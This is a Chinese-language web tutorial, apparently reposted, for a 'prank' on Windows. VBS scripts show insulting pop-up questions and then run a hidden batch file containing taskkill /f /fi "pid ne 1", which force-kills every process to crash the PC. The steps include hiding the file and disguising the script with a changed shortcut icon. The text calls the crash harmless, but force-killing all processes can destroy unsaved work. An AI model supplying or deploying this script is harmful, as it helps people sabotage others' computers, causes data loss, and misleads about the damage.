蓝屏重点:在VBS输入整人代码,然后用VBS打开bat蓝屏文件
VBS框架:
msgbox" " 弹窗
createobject("wscript.shell").run "cmd /c start " 打开文件
inputbox(" ") 输入
dim 定义变量
1.
if MsgBox("这里是弹窗内容",vbYesNo,"这里是弹窗内容")=vbyes then
msgbox "这里是弹窗内容",64,"这里是弹窗内容"
else
msgbox "这里是弹窗内容",64,"这里是弹窗内容"
createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径"
end if
2.
dim a
a=InputBox("这里是弹窗内容")
if a="这里是要输入的内容"then
Msgbox"这里是弹窗内容",64,"这里是弹窗内容"
else
Msgbox"这里是弹窗内容",64,"这里是弹窗内容"
createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径"
end if
方法一:
1. 在隐蔽的地方新建一个文本文档,改名叫蓝屏.bat,右键编辑,输入
taskkill /f /fi "pid ne 1"
taskkill /f /fi "pid ne 1"
保存。
2.再找一个文件夹,(或者就在bat文件的下面)新建一个文本文档,改名叫整人.VBS,右键编辑,输入
if MsgBox("你是傻逼吗?",vbYesNo,"警告!!")=vbyes then
msgbox "我擦你竟然是傻逼!!!",64,"哈哈哈哈~笑死我了!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if
if MsgBox("你是傻逼吗?",vbYesNo,"警告!!")=vbyes then
msgbox "我擦你竟然是傻逼!!!",64,"哈哈哈哈~笑死我了!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if
注意:中文部分是可以改的 ,start后面是蓝屏.bat文件的路径,msgbox弹窗可以自己增加。
3.(重要!)点击文件,另存为,把编码改为ANSI,保存。
4.(可弄可不弄)单击VBS文件,右键,单击发送到,桌面快捷方式,右键属性,更改图标,OK!
方法二:
1.同上
2.再找一个文件夹,(或者就在bat文件的下面)新建一个文本文档,改名叫整人.VBS,右键编辑,输入
dim a
a=InputBox("你是不是SB?!")
if a="是"then
Msgbox"我擦你竟然是傻逼!!!",64,"哈哈哈哈~笑死我了!"
else
Msgbox"还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",0,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if
dim a
a=InputBox("你是不是SB?!")
if a="是"then
Msgbox"我擦你竟然是傻逼!!!",64,"哈哈哈哈~笑死我了!"
else
Msgbox"还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",0,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if
3. 同上文章来源:https://www.toymoban.com/news/detail-500933.html
4. 同上文章来源地址https://www.toymoban.com/news/detail-500933.html
这种蓝屏对电脑是无害的,重启一遍就好了。
到了这里,关于VBS整人蓝屏代码(Windows 7 直接蓝屏,重启即可恢复,亲测有效!!)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!